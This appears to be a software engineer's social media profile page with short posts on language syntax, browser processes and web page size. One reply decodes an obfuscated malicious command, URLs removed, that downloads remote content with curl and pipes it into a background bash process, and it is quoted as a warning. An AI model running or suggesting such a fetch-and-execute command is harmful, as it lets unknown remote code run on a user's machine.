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Software engineer, photographer, and general computer enthusiast. World's best tmux programmer.
🇳🇿🇦🇺
Currently working at Google Sydney. Personal opinions only.
| Blog | https://willhbr.net |
| Photos | https://photography.willhbr.net |
| Pronouns | he/him |
New blog post!
I've been investigating out how various languages get away with not requiring semicolons.
I looked at 11 languages and found so many interesting cases I had to share!
@decryption for anyone else following along at home, this is what it decodes to (with URLs removed b/c you shouldn't click 'em)
curl -sL "$(echo 'base64 encoded URL/some unique id' | base64 -d)" & curl -sL "
(echo 'some static base64 URL.php')" | nohup bash &
@pointlessone I guess you _could_ have some IPC system that would allow sharing one browser process between apps, but maybe I've just invented ChromeOS.
Static web pages _can_ be tiny (if I removed web fonts my site would be <10kB) but basically no one cares about optimising for size this much (even me, given I serve 90kB of fonts)